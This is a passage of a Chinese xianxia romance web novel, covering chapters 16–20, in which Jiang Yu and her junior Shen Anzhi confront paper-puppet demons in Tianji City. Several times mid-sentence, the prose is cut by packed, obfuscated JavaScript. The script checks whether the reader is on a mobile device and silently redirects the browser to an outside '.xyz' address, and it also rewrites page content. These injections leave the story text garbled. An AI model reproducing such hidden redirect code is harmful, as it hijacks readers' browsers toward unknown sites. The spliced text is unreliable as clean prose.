真言术的反噬而成吗? * 姜喻不知道紧张装睡到什么时辰,只记得迷迷糊糊地睡着时脸颊痒痒的。 睡眼惺忪醒来,望着头顶的白纱床幔,她依旧保持裹上被子的睡姿,在被子里伸个懒腰,摸上唇角翻身看向门口的位置。 一道挺拔暗影背光而立,站在门口,天光将他侧影勾勒而出。 她吓得最后一点瞌睡虫都跑干净。 沈安之好以整暇地抱臂,容颜昳丽,长睫轻压下时,挟着压迫感。他的丹凤眼天生上扬稍许,配上眼尾妖冶朱砂痣,就连看狗都自带深情的一双潋滟眸子。 “师姐还不打算起吗?” 姜喻微抿了一下唇,指尖掐进掌心三分,笑着坐起身:“劳烦师弟暂避,我梳洗一下。” “师姐与我何须见外。”沈安之倚门轻笑,走出带上门扉虚掩阖上。 他背过身立在门外,轻声道:“恭喜师姐又活过一晚。” 姜喻干笑着回应:“同乐吧。” 待她洗漱好下楼,沈安之坐在一楼靠窗位置,指尖夹着一颗栗子糖,舌尖轻轻搅动腮帮、慢慢咬碎。 不待她行至窗边,一道裹着水雾的清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565428|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽嗓音唤住她。“姑娘滞留客栈,莫非也是因邪祟一事而来?” 宁贺辞袍角带着朝露寒气,走到她面前。 姜喻回忆起昨夜匆匆一瞥,烛光太暗,她只记得少年一双浅绿色眼瞳,颇具异域。此刻观他的打扮,视线掠过衣襟处若隐若现的流云暗纹,分明是蓬莱阁内院弟子服的制式。 居然和男主方微云来自同一个宗门。 姜喻眉眼弯弯,嗓音含笑道:“是啊,幸会蓬莱师兄。我是鹤门宗清心院弟子,姜喻。那位是太庆院弟子,沈安之。” 沈安之骤然扣紧的指尖发白,见宁贺辞目光落在姜喻周身莫名的不顺眼,只是点头示意,视线散漫地看向窗外。 宁贺辞将那个名字在唇齿间辗转片刻,漾开嘴角温润的笑意:“在下宁氏,宁贺辞。”他对着绯衣少女笑着深揖一礼,“见过姜姑娘。”尾音微妙地停顿半拍,转向沈安之略一抱拳,“见过沈公子。” 跟在宁贺辞身后一年纪稍长,二十来岁出头的青年道:“师承蓬莱阁,姓陆名斌,就是个粗人。”话音未落,脸颊明显一红,避开姜喻的视线捞了捞后脑勺,“果然是鹤门宗师弟师妹,敢问宗门首席弟子顾师妹可会来天乩城除邪祟?” “会来。”姜喻下意识地扫了沈安之一眼,转头多问了一嘴,“此次除邪祟关乎一城,为何我们所见之人不多?” 沈安之偏头扫了一眼陆斌和宁贺辞。 宁贺辞轻声道:“天乩城偏僻,为防止妖邪聚集走漏消息,我们是秘密行动从四处奔波而来,来的弟子人数并不多。” 陆斌摸了摸后脑袋解释道:“我和几位师弟驻扎在距离天乩城最近的泽州柳城出任务,来的便快些。若是按照送信来回的脚程,其他宗门支援弟子应该就在这两日了。” 陆斌是个稍熟一点就敞开的话匣子,一边解释天乩城地形复杂,一边说了昨日他们刚来雇了熟悉樵夫带他们进山了一趟。 群山瘴气环绕,他们进山探查无功而返,陆斌说罢再问姜喻,带着一丝探究目光:“不好意思姜师妹,昨夜听你念叨诸葛前辈,敢问你可与前辈相识?” 姜喻一听诸葛二字,心下误以为是距离她十几个世纪的诸葛亮,转念一想又不对,认真摇摇头:“没听过。” 陆斌面露失望之色。 原著中天乩城剧情描述一笔带过,天乩城城池是由诸葛家建立,直至诸葛最后一代后人在十几年前去世,城主才换姓他人。 * 姜喻用完膳借口闲逛天乩城。 铅灰色天幕下,冷冷清清的街道仅有零星几个行人缩着肩膀匆匆而过,目的是前往城门口。 风卷裹着山间潮热,像极了岭南梅雨季的潮雾,姜喻不过绕着青石板长街走了半盏茶功夫,布料便紧贴着后脊,活似被裹进热水里,身上黏糊糊的。 姜喻按原著描述的场景,果真在一巷子中窥见一隅。 暗巷深处坐落一间药庐,檐下悬有两盏素白灯笼,门楹贴着空无墨痕的红对联。忽见两道踉跄人影,互相搀扶走入门内。 17. 第17章 姜喻没选择第一时间进去,遥遥望了一眼,思考该如何巧妙和沈安之他们透露这个地方。 转身,欲走。 一根手指轻轻抵在她光洁眉心,按住她欲走步伐。 “师姐,去哪?”循着修长细窄的手指关节抬眸看去,正是沈安之,能闻到周身皂角香清新雅淡。 沈安之垂眸注意在她发髻间鎏金藕粉色的镂空雕花蝴蝶发簪,指尖轻轻拨弄一下她发髻上的蝴翼,以前没见她戴过此等发饰。指尖拨过后,会轻轻翕动翅膀。 他敛离目光看向药庐,余光落在身侧绯红身影上若有所思。 忽的嘴角噙着笑:“师姐发现了什么?”眸光深处带了几分探究。 姜喻没想到得来全不费工夫,沈安之这么快就发现此处,但她不知该怎么解释。 “我随便逛逛,感觉这里很古怪。师弟,你觉得了?”姜喻刻意停顿了一下,“我刚刚看见有伤者进去了。” 离开客栈时的沈安之特意观察妖气,细微的妖气间在门窗缝隙间察觉粘稠的青色液体,顺着罗盘指向,妖气集中在此又消失。 不过他有法宝特殊手段,姜喻又是如何发现此处了? 沈安之随手推开木门,伴随咯吱一声开门,视线有意无意地扫了她一眼,长腿迈过门槛:“师姐,不进去看看?” 姜喻站在门外,透过敞开的半扇门就窥见药庐院内盆景错落有致,应该时常有人打理。 院内正中央摆放一纸扎人面朝大门,面涂腮红,点了红唇黑眸,看扮相是名女童子。 远看分外活灵活现,近看吓得人够呛。青天白日,无端给人阴森诡异。 沈安之毫无情绪波动,见她似乎被吓到蓦然弯唇,却难言心底深处透着莫名的兴奋,向前观察纸扎人,恰为她挡住了部分视线。 在正厅写药方的另一男童子纸扎人停下来手,僵硬地转身“看”向他们:“敢问阁下可是身体抱恙?”连声音都是卡顿的,似男似女,略显阴柔。 “没事,四处转转。”沈安之抱臂随口回答,目光逡巡四周。 姜喻眼神恍惚,竟转眼能见纸人身上两团暗紫色的气流转,左眼和之前一般看见药草身上气息。 “客人自便。”纸扎人漆黑眸子盯了一会他们,僵硬地转身抓药,冷冰冰视线落回伤员,继续问诊。 “这是什么。”姜喻微微歪头仰起脸,从他身后探出脑袋细看,发间发簪因摇动发出细碎清响。她浑然不觉地凑近他,压低声音,“瞧着古怪得很。” “傀儡。” 沈安之瞥了眼侧身靠近之人,绯红衣袂已缠上他玄色广袖,那抹沾着暖香,像是三月桃枝浸透晨露的甜香。 她身上馨香绕在鼻尖,沈安之下意识蜷紧手,拂袖疾行走向后院。 瞧他步伐加快,姜喻不明所以提起裙裾,赶紧提速跟上,边走边问:“有多厉害?”心中打鼓,脑海开始回忆原书剧情这一段描写不多。 匆匆赶往后院,刚进来的病患龇牙咧嘴,正被一个纸扎人抱腿正骨,疼得嗷嗷叫唤。 在这诡异背景里,更是让人胆寒。 沈安之持剑未闻,径直路过纸扎人大步走向后门,推开门。 后门通道是条昏暗逼仄的小巷,空无一人。 盘环消散的最后一丝妖气消失,沈安之怏然一笑地啧了一声,“跑的真快。” “你找什么东西?”姜喻疑惑看了一眼空落落的小巷。 “妖。” 姜喻略带诧异得抬眸,“它们一视同仁,还治疗妖了?” “它们仅是傀儡,没有灵智,当然不分好坏。”沈安之眸光散漫看向她随口解答。 “哦哦。” 见她歪头若有所思应答,倒像只古灵精怪的小红雀跟着他,心生一抹转瞬即逝的妄念。 偏生栖在他肩头,仅飞停靠在他身边。 猛然警觉自己的想法,沈安之抱臂侧眸,摩挲着铜钱的指尖略带加快,心有对莫名情绪的心燥。 “回去吧。” 姜喻不知是不是自己的错觉,沈安之今日对她的态度,似乎好了。 见她愣地出神,沈安之忽的弯唇,轻慢哼了一声,“师姐愣着作何。” 她回神来,嘴角漾开一抹秾丽的笑意,她可真是想多了,沈安之分明还是那个沈安之。 若是对她改观了多一些,她得吹锣打鼓庆贺一番。 临走前回首一瞧,纸扎人齐刷刷地抬起素白的纸头,墨点出的两只眸子像是两团引人心魄的漩涡。瘆人目光穿透她全身每一个毛孔,让人身上反反复复得冷。 她顿时脑海晕乎乎,特别是左眼像是被莫名攻击的灼热,她僵硬着身子挪开视线,跟在沈安之身侧踉跄了一步。 什么情况,这纸扎人能催眠不成…… 姜喻捂住胸口,眩晕感禁不住上下眼皮打架。 察觉到姜喻异样,手臂伸出拦在她腰肢虚靠,阴翳眸光看向纸扎人。指尖铜钱呼啸而去,坎坎停留在纸扎人面前被无形的结界阻挡。 “该死。”他死死盯着纸扎人,视线撇着姜喻难受地样子 沈安之没想到纸扎人居然发动幻术,他闭上眼的同时一手遮住姜喻的眼睛,“别看,闭眼,跟我走。” 沈安之默念清心诀点在她眉心,指腹轻触到她掌心肌肤,鬼使神差地停顿了一下,转而握上她的细腕。 “我们走。”沈安之召回铜钱,幸得他过目不忘,拉着她很轻松从正门离开。 直至离开纸扎人视野,姜喻已经没有不适之感。 “师弟,我好了。”她眨了眨眼。 卷翘长睫就翕动在他掌心,少女睫羽每颤动一次,蝶翼般的战栗就自掌心传来。他掌心微痒,放下的手指节蓦地收紧,侧身往客栈走,“走快点。” 姜喻慢慢睁开眼适应光线,提上裙幅赶紧跟上。 “多谢师弟。” “谢我?”沈安之提起对纸扎人所处药庐的兴趣,决定道,“师姐若想谢我,子时汇合。” “子时?我可以不去吗?” 姜喻想起黑灯瞎火,但转念一想留沈安之一人更不行,刚要开口沈安之说道:“师姐,可会怕死吗?”他嗓音微哑。 听到他似是故意咬紧“死”字,她下意识退后一步,旋即认真地点头:“人之常情。”忽的福至心灵反应来,话到嘴边婉转一下,“若师弟和我在一起,我便不怕。” 姜喻含 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573049|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑抬眸,颇为认真地看着他。 压下一丝躁动,沈安之垂眸,尾指虚划过她青丝,“放心,有师弟现在,绝不会让师姐轻.易.死.掉。” 姜喻扯唇笑了一下,她无语呵呵了。 “那便有劳师弟啦。” “师姐不必客气。”他尾指轻擦抚着蝴蝶银饰轮廓,姜喻抑制不住地缩了缩肩膀,强忍着想僵硬着脑袋退后至安全位置。 听到头顶似乎是一道加重的呼吸声,她惊讶地抬头。 沈安之手指慢慢缠绕着她一缕发丝放下。 沈安之抱臂还胸,微微弯腰:“师姐若死了我会很苦恼。毕竟,我还想等着师姐给我寻得草药了。况且死了多无趣,师姐更得好好活着。” 姜喻默默腹诽,沈安之这陡然阴晴不定的妖孽样子。 * 两人回到客栈各自回到房间。 姜喻赶紧喊店小二备水,舒舒服服地泡完热汤,手附上右眼,单独用左眼看了一圈四周,没有什么特别大的变化松了一口气。 吃完一碗南瓜小米粥,姜喻脱了鞋袜,大咧咧地大字平瘫在木床,目光盯紧那些坠下的床幔,迷糊地睡着了。 梦里她摸着黑走着,却见四周陡然出现一具散发微光的白色折纸人,童子没了眼睛,张开血盆大口爬过来攥紧她的裙摆,空洞黝黑的眼部渗出血,像蜿蜒而下的两条血泪,吓得她转身逃跑。 不知她跑了很久,她气喘吁吁地停下脚步,面露惊喜。隔很远就瞧着沈安之自持一把铜钱剑,眸光不似以往带着或戏谑或玩味的笑。 她一刻不敢停下,急速狂奔,快要穿过一扇门。 一道高大的身影笼罩头顶,仿佛乌云盖顶。 她堪堪停滞步伐,大汗淋漓地抬头,对上好以整暇的沈安之微挑眉稍,喑哑一笑。 “准备去哪啊,师姐?”沈安之垂眸轻声道,有意无意地轻轻拉长尾音,咬重了“师姐”二字,“这么害怕了……” “沈安之,纸扎人快追上来了。” “追上来便追上来呗,反正逃不了。”收敛喑哑的声音自头顶传来,像是一道催命符。 “沈安之,你说过不会让我死的。”姜喻抬眸,妍丽的眸中泛着水光,语气急切里带上一丝哭腔。 食指指关节轻敲了敲她的额头,见她眼角洇着一丝薄红,莫名有些在意地压低呼吸,微微凑近挑眉一笑,“师姐,可是不信我?” 姜喻下意识想退,发觉自己浑身不能动弹,压根退不了一点。 不对劲。 她明白了,这是梦。 对啊,这里可是梦,为什么她现在还醒不过来。 姜喻仰面瞧着沈安之,这个梦中的沈安之让她莫名委屈。 自己的梦还不能控制不成…… 在窝囊和生气间,她不想选择生窝囊气。 “沈安之我相信你。”沈安之身子僵了一下,似乎仅仅影响了他一下。 梦中的沈安之指腹轻轻虚靠在她眼尾,轻剐蹭她微微泛红的眼尾。 身后是追上来诡异至极的纸扎人,她掩面地闭上眼,小声呢喃:“沈安之……” 铜钱剑抬起。 凌厉的剑光闪过。 18. 第18章 剑身从她身旁擦去。 “噗嗤”刺入的声音,身后传来诡异地咿咿呀呀笑声。 似笑似哭,似喜似悲。 几息功夫,再一次回归平静。 “睁眼吧。”沈安之微微站在身形,拇指摩挲食指指关节触碰的地方。 姜喻呼吸急促,倏然睁开眼醒来,却看见头顶是床幔,四周是熟悉的客栈摆设。 姜喻借宝珠微光坐起身,揉了揉太阳穴,这个梦真实让她腰酸背痛得。估摸着此刻子时,沈安之应该还在隔壁等她。 穿上绣花鞋,确认仪表完好,姜喻轻手轻脚打开房门,离开房间。 小心翼翼地敲上隔壁房门,她深吸一口气,压低嗓音轻唤:“师弟,我准备好了。” 沈安之轻声打开门,精神奕奕地伸了个懒腰,眸光不经意扫过她的眼尾,敏锐捕捉到姜喻眼尾未消退的红晕。 姜喻怕吵醒楼下蓬莱阁弟子,用作口型道:“我跟着你。” 沈安之垂眸,“师姐,刚刚哭过了?” 姜喻抬眸一愣,刚想摇头否认,又想起来他说过不爱人欺骗,颔首道:“做一个可怕的梦。” 沈安之对于姜喻不撒谎的坦诚感到一丝雀跃兴奋。 沈安之暗自收回目光,比起杀妖的微妙快感,此刻不寻常倒叫他道不明的意乱。 “走吧。” 两人一前一后下楼,穿过客栈后门。 头顶圆月高悬苍穹,月光微凉皎洁。 落地银灰连成一片,薄雾不再,周围一切清晰可见。手中宝珠暂时成了累赘,姜喻收了起来。 沈安之带路,他们疾步重返药材铺。 药材铺外的纸灯笼橘红色光,亮的晃眼。 风一吹,“吱——嘎——。” 发出交接铁环生锈后的声音,静悄悄黑夜里显得刺耳。 姜喻跟着沈安之左右一看,他率先灵活地翻上墙站定。 皎洁月光下的少年长身玉立,指着脚下理所当然道:“师姐,翻过去。” 姜喻撸开袖子,几日空闲时分学了些法术,运转灵气施展。 几呼吸间,无事发生。 她耳根蓦然一红,两颊燥的慌。无奈地抬眸看向沈安之,比出口型道:“师弟,我上不去。” 沈安之微眯起丹凤眼,又跃下来,轻提着她的后衣领。衣襟勒了脖子,姜喻咳嗽一声,沈安之见状姿势一变。换揽着她的腰肢,轻松翻过去。 沈安之能闻到她蝴蝶发髻残留沐浴时撒下花瓣的清香,退开时闻不到,莫名感到异样。沈安之错开眸光,唇角上扬。 两人一左一右走在药庐后院。 纸扎人从暗处飞出,阴恻恻地望着不速之客。惨白的月光洒落,姜喻看见他们两人影子交织成双,唯独纸扎人没有影子。 不对啊,傀儡是器物,怎么能没有影子了…… 纸扎人裂开红艳艳的嘴角,抬眸桀桀一笑。抬手撕开纸人外表,露出青面獠牙的鬼物真身。 “师姐,你脸都白了。”沈安之散漫地抱臂,竟然还有心思与她开玩笑闲聊。 姜喻无语了一瞬,哆嗦着唇:“第一次嘛,总是冲击力太大。” 沈安之收回目光,“是吗?脏了师姐眼,我杀了可好?”眸中冷光一闪,沈安之笑得意味阑珊。 铜钱剑光落下,整整齐齐地劈开了鬼物脑袋,脑袋在泥地里滚了一圈,剩半截身子想逃。 姜喻蹙着秀眉,眼疾手快地扔出炽阳符,火焰转眼吞噬两只小鬼。 “师姐胆虽小,本事可不算小。”沈安之抱臂,轻垂下眼睑瞧见她的笑颜,心中微动。 “当然,我的书不是白看的。”姜喻含笑道。 一道细微声音传出。 沈安之摩挲着铜钱,扔出去。 “扑哧——” 穿过窗户纸,刺中的东西闷哼一声。 一缕黑烟破窗而出,盘旋着月光下像蠕动荡漾水底的一团海藻,摇晃着灰尘拖尾般气体,发出尖锐粗矿男声叫喊:“你奶奶个腿!哪个敢偷袭老子!” 沈安之不以为意两指在虚空转动,铜钱在他体内横冲直撞,疼得黑烟斗志昂扬地叫喊了几声,狼狈坠落在地求饶。 “放了我放了我,我就喜欢……没办法,女娃娃太香啰……”他还未说完,铜钱剑听差而出劈砍。 沈安之腻烦:“退后。” 距离他们三米远,姜喻看的仔细,它蜷缩起来的模样,像极昨日爬来爬去的妖物。 听他话,姜喻躲远开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即一顿劈哩叭啦地打杂声,伴随着此起彼伏两道歇斯底里的叫喊:“仙人饶命——啊啊啊啊啊——饶命啊,我们再也不敢……” 话音未落,再无气息。 寒风吹拂起她额前凌乱碎发,煽动蝴蝶发簪薄翼发出相撞的清脆声。 陡然带来一股风,鼻翼闻到熟悉的味道——清爽不腻的皂角味。 从什么时候开始,闻到这味道竟能让她安心…… 沈安之持剑来时,阴翳怒意的眸光直勾勾落在角落里。 绯红衣裙的少女盘起好看的蝴蝶发髻早已乱糟糟,光洁的额头贴着粗糙沙砾的石壁,磨蹭的又红又肿。脸颊脏兮兮带着泥土,那双妍丽灵动眸子让黑纱遮掩,这般安静靠在角落。 又狼狈,又脆弱。 他呼吸刹那凌乱。 姜喻下意识轻声唤道:“师弟……” “师姐在想什么?这模样,倒像被人夺了魂。”沈安之亦不知为何心中所想的话脱口,他环胸而立在她三步之外。 眸光转落在妖尸,又定睛瞧去姜喻,脑海中诡异地念头一闪而过:她见了,会害怕。 抬步嫌恶得一脚踢开两只挡道小妖尸身,无声焚尽,缓步驻足在她一步之遥。 他忽地欺身迫近,撩袍单膝跪地,半蹲地瞧着她。玄色衣摆如墨莲绽开在姜喻膝边,他单手随意搭上膝盖,屈指虚抚过她额角凌乱发丝,却将触及她眼尾时倏然蜷起:“这般狼狈。” 姜喻微抬起头,侧耳循着他的声音偏头:“我在想,倘若师弟不来,我死了会有多难看。应该,会很疼吧。他们可是心心恋恋想吃了我。” “师姐,果真……娇气。”沈安之轻摩挲着指尖,那里带着难言的痒。 姜喻难以言喻地憋闷。 “我怕疼啊,这都不行嘛……” 姜喻一想到任务是她自己答应原主,这不,硬着头皮都得走下去。 谁知道回溯能回溯几次…… 一想到自打跟上沈安之,不是被他暗戳戳威胁就是被妖怪明目张胆地威胁。 她暗暗磨了磨后槽牙…… 沈安之看她努了努嘴,微微弯唇,指尖轻触她面上覆眼的黑纱,抬手解开。 眼前陡然光线渗入,姜喻唯一尚好的左眼乌亮清澈,而右眼暗淡无光,似蒙上一层水雾般的眼翳。 姜喻眨了眨眼,待适应光线便毫无顾忌地看向沈安之,仰面迎上他略带探究的目光,与他视线交汇的刹那眼眶倏然红了。 “师弟……” 沈安之快速捕获到她细微的神情变化,心中微动,“师姐怨师弟来晚了?”铜钱划过她的腕骨直至掌心,沾有他指尖温度。姜喻下意识缩了缩脖子,手腕酥酥麻麻的痒。 “我哪有。”她一愣,反应来沈安之现在是在打趣自己,“我和师弟一样想好好活着。” 沈安之没有否认她怕死这个事实。 “不过还得多谢师弟啦。”姜喻含笑道。 “师姐如今倒是越发爱说‘谢’字。”沈安之抬起铜钱,一道金光闪过,割下姜喻一缕秀发燃烬,丹凤眸眼尾轻扬,撇看向她。 姜喻尚好的左眼瞧见一撮秀发在他掌心燃尽,心疼她来之不易、默默养护的秀发。 “自然因师弟好啊,救我之恩,出去后包下一条街的甜食请你。买很多你最爱的栗子糖可好?”姜喻含笑歪头,仔细观察他的神情从无动无衷到一丝触动。眼神掠过对方指尖,果然看见铜钱在指间微微转动。 这家伙果真喜欢栗子糖。 沈安之听她逞能故作揶揄的语气,微扬起唇角快速收敛,散漫惯的语气道:“那我就等着了。” 随着二人对话功夫,发丝余灰燃成一小撮,撒落在铜钱上转眼化作成一只蹁跹的红蝶钻入姜喻失明的右眼。 “我能看见了。”姜喻惊喜抬眸,恢复如初的眸子忽闪看向他。 铜钱滚在他掌心后,顺手解开她身上的绳子。 看他心情不错,塞入口一颗栗子糖。姜喻伸出手看着他,笑吟吟地眨了眨秋水明眸,故意拉长声音:“师弟,给我来一颗。” 沈安之手心一翻转,戏法似的变出一颗浅棕色糖丸。方放在她掌心又陡然消失,抬眼一瞧,他指尖捻动着一颗正故意垂眸瞧着她,“想吃吗?” “不想。”也不是很想啦,姜喻无语地看了他一眼。 见她不上钩,沈安之捻着栗子糖微微转动,指尖在她张口间隙准确无误地丟进她口中。 姜喻惊讶一瞬,“好甜。” 这是她第一次尝到沈安之的糖。 “好吃?”沈安之垂眸看着少女含着栗子糖,语气虽是问,但并不在意她的答案,眸光落在微鼓的腮帮,指尖微微摩挲。 “嗯,好吃。”姜喻含着糖搓了搓胳膊,吐出一口白雾,看向火堆旁的消失妖尸问道,“抓我走的是什么妖?” “螔蝓。”沈安之瞥了她一眼。 姜喻曾翻阅过书,螔蝓其实就是一种蜗牛。 她收回目光,好奇道:“师弟,如何找到我?” “师姐的问题真是多。”洞外寒风卷着火舌扑簌曳动,火光映照,抚在沈安之精致眉眼,他眸光流转在她身上,目光上移落在姜喻额角。“找到你,自然是……多亏师姐的头发。” 姜喻捂住脑袋,如临大敌地退后,嘴唇嘟囔着:“头发?师弟可别给我薅秃了。” 沈安之轻哼一声,挑眉扬唇:“师姐,命若没了,就不会这么介意吧。” 姜喻被他话噎了一下,“师弟你不懂,头发对于任何一个女孩子都很重要。” 哪怕对于大学牲熬夜头秃困扰多年的姜喻,头发脱落这类似的话题都尤为刺耳。 沈安之抱臂,指尖摩挲着铜钱。 “刚刚洞里的小妖去哪了?” 听到她问,沈安之想到已然焚尽的妖尸,竟觉得刚刚脑海浮现的念头有些荒谬。他在意她害不害怕的作何…… 沈安之抱臂侧眸,不以为意道:“没什么收获,师弟自然不能空手败兴而归。” “它们的妖丹……?”姜喻小声追问。 沈安之斜倚着石壁,光影游走过沈安之玉雕般的面容,“杀几只小妖,妖丹自然归我。师姐好奇想看看?” 姜喻贝齿轻咬下唇,迟疑一下,看了眼他的眼色,小声道:“师弟,你看啊,我有非常多的灵石。” “师姐想说什么?” 姜喻斟酌词语,语重心长道:“妖丹近身没好处,你又随身携带。妖气侵入经脉,堆积丹田,怕是走火入魔……” “师姐,莫非在关心我?”沈安之嘴角微扬,暗藏一抹深意盯着她。 姜喻差点说漏了嘴,对上沈安之深究目光,话锋一转:“师姐我又不缺的灵石,你的妖丹我能不能都买了?” 沈安之玩味一笑,微微倾身听到她放缓呼吸,眉宇藏着一抹邪气,压低声音反问道:“师姐这般娇养着,若哪天妖气蚀了灵台,便不怕走火入魔?” 她干咽一口水,挺直腰板:“不怕。” “你需要妖丹的理由了?” “玩一下咯。”姜喻干笑两声。 “师姐还真是……伸手。” 沈安之话音落定,凉飕飕的妖丹滚落入姜喻掌心,他接过姜喻递来的灵石储物袋,觉得无趣的紧。转眸却见她背过身,神神秘秘不知在做什么。 姜喻贴了三张炽阳符在妖丹:“师弟,能否给我支撑个结界保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈安之处理完轻慢一笑,指腹摩挲着铜钱边缘有一搭没一搭的抛起把玩,扭头便能瞧见姜喻乖巧地垂着头。 沈安之放轻脚步,悄然走在她身后,直到附耳压低声音道:“师姐,护的可好?” 姜喻肩头蓦地瑟缩,指尖掐进掌心才咽下惊呼,嗔怪暗自瞪向身侧:“师弟,你存心吓我。护好了,还给你。” 沈安之未伸手接过,懒散地抱臂侧眸,“师姐拿着吧,万一不小心踩空山石滚下去……” “谁说的,我眼神好着了。”正想反驳自己有颗宝珠,摸向腰间的储物袋,空无一物。 “完了,我储物袋丢了。”姜喻倏然想起,两只小妖不仅拿走她袖口纸符,还把她存了好多宝贝,最大的储物袋顺走了。 灵石储物袋给了沈安之,又用完了最后几张放在胸口衣襟的炽阳符…… 姜喻心里有一瞬的肉疼。 寻遍周身,眼尖衣袖边趴着一只蠕动的蜗牛,吓得她惊呼一声。 一根修长细窄的手指轻轻抵住她的额头,趁她惊讶时将螔蝓不经意弹开:“师姐,一只小小的螔蝓。” 姜喻松了一口气:“哦。” 见她丢了装宝物的储物袋情绪低落,沈安之暗自收回视线。 “走吧。“ 两人一前一后,走着不知多久,姜喻累得失神,脚下一个踉跄。 沈安之眼疾手快扶着她胳膊。 “累了?” “嗯,师弟。”姜喻轻擦了擦额头细密的汗珠,气喘吁吁地反手扶着他胳膊,脸颊升起一抹红晕。 沈安之瞥看她一眼,蹲下身来。 20. 第20章 沈安之忽得侧眸看着她,指节轻叩在膝头,微扬起下巴示意,“上来。”他的嗓音低沉,分明是命令的语调,却仿佛在说一件无足轻重的事情。 今日,太阳打算另辟蹊径,从西边出来…… 姜喻尚未回神,发间蝴蝶发簪的薄翼随下意识退后的动作簌簌轻颤。 见她退后,隐匿在昏暗中的眉宇微蹙,沈安之压下长睫按捺下晦暗不明的光,道:“此地阵法不可御剑,师姐打算自己走到天亮去寻阵眼,我可独自去了。” 话虽如此说,他身子倒一点没动。 姜喻嘴角上扬,“你不怕我压垮你啊……” 她撑在他肩膀,微微弯腰趴在他消瘦的脊背。 “你说要背我,不准反悔哦。” 沈安之指尖陷进少女绯色裙裾,穿过少女的膝窝站起来。 此刻,他清晰感受到所背之人的体温正一点点透过步料渗入他的血肉,脊骨绷得笔直,喉结无声滚了滚。 沈安之压下情绪,故意低哑嗓音:“呵,师姐可得抱紧点。不然,我怕我不小心失了手。” 姜喻搂着他脖子,笑盈盈道:“我是不会轻易放手的。” 他神情微动,片刻后有一时莫名情绪闪过:他为何要多管闲事…… 若无其事地恢复如初,脚下步伐却越发快,隐隐昭示心绪起伏。 姜喻一时不察,只能微微前倾保持平稳。 一道馨香若有若无的拂过鼻翼,姜喻又刻意的不紧贴在他脊背。意识到她的举动轻哼一声,搂紧她膝窝的手加了三分力,同时放缓速度。 “师弟。”姜喻微微前倾身子,举着火折子给他照路,嗓音沁着笑意小声嘟囔道,“你背我会不会累。” “没有。” 沈安之步伐逐渐沉稳有力,即使是颠簸的山路,姜喻都觉得四平八稳,她本来绷紧的情绪稍缓。 她存了精力仔细回忆原著细节,男女主是在一处坟地的山洞中寻到阵眼破绽,而那处山洞暗藏一座前任城主府诸葛家的宝库。原文一笔带写到时说,黑化后的沈安之寻到了他需要的几株药草。 姜喻刚想开口提示,远处传出几道步伐匆匆地脚步声,有人焦急惊呼:“快走!” 姜喻轻拍了拍沈安之肩膀,示意他放自己下来,压低声音:“小心点。” “嗯。”沈安之不以为意地挑眉,调转脚步往声源走去。 两人悄然接近,沈安之才把姜喻放下来,不动声色地退后一步。 脚下枯枝的轻响被鸟雀嘶鸣掩盖,姜喻吹灭火折子,屏息拨开眼前枝桠,正撞见几位服饰相同的蓝衣男子,正与几只狡诈的半人半鬼之物打得落入下风。 她一眼瞧出是蓬莱阁的宁贺辞、陆斌这几人。 宁贺辞剑锋劈开浊气的银光尚未成形,便遭三只鬼爪绞碎。 姜喻想到他们这般贸然进山,说来,不会是在男女主赶来时,被妖物炼化成傀儡的蓬莱阁弟子。 原文可是说一行人全军覆没。 时间对上,几人身份也是。 “师弟,鬼物一般最惧火光。”姜喻压低声音。 她话音刚落,蓬莱阁弟子互相帮扶间,有人一声惨叫倒飞了出去,胸口一道深可见骨的伤口横亘,染红上半身,脸色骤然惨白一片。 看得她脸颊微白,指尖陷入手掌心。 沈安之指尖把玩铜钱,眼底战栗的兴奋暴露杀意翻涌的心绪,侧首见她如此,压抑不住兴奋道:“师姐害怕就躲远些。” 那边几人合力乘机削了一只鬼物头颅,头颅飞溅三尺血,又直挺挺地朝沈安之面门飞来。 鬼物头颅略带停滞了一下,沈安之剑锋而出,铜钱剑劈砍它成两半。 他促狭着丹凤眼,晦暗不清地神色瞥了眼姜喻和宁贺辞,果真见宁贺辞目光落在姜喻身上。 迈步走出,不动声色地遮掩他的视线,挑眉轻慢一笑瞥向宁贺辞。 宁贺辞紧蹙眉宇,一个闪身躲开鬼物攻击。 指尖无形地摩挲着剑柄,沈安之宛若步入自家后花园一样淡然自若。 陆斌瞧见他,大声提醒:“妖物难缠,沈小兄弟可得注意。” 